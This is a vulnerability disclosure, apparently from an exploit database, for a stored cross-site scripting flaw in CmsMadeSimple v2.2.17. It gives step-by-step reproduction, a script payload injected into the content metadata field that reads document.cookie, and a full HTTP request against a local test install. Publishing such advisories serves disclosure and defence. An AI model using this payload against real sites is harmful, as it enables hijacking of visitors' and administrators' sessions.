CmsMadeSimple v2.2.17 – Stored Cross-Site Scripting (XSS)
#Exploit Title: CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS) #Application: CmsMadeSimple #Version: v2.2.17 #Bugs: Stored Xss #Technology: PHP #Vendor URL: https://www.cmsmadesimple.org/ #Software Link: https://www.cmsmadesimple.org/downloads/cmsms #Date of found: 12-07-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Login to account 2. Go to Content Manager 3. Add New Content 4. Type as '<img src=x onerror=alert(document.cookie)>' to metadata section payload: <img src=x onerror=alert(document.cookie)> 5. Submit Content 6. Visit Content (http://localhost/index.php?page=test) Request: POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=5c64b42fb42c1d6bba6&showtemplate=false HTTP/1.1 Host: localhost Content-Length: 584 sec-ch-ua: Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 sec-ch-ua-platform: "" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: CMSSESSID852a6e69ca02=g13p5ucajc0v5tker6ifdcaso5; 34a3083b62a225efa0bc6b5b43335d226264c2c1=24f612918e7b1c1e085bed5cab82f2a786f45d5c%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkLndYMkFFZnc4WTJlcWhhQVJ2LndZT1FVY09hTzMzeVlNYzVDU1V5NnFRQkxkeXJZNUozSTYifQ%3D%3D; __c=5c64b42fb42c1d6bba6 Connection: close mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=5c64b42fb42c1d6bba6&m1_content_id=0&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3Etest%3C%2Fp%3E&menutext=&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E&pagedata=&design_id=2&template_id=10&alias=&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&additional_editors=&m1_ajax=1&m1_apply=1 |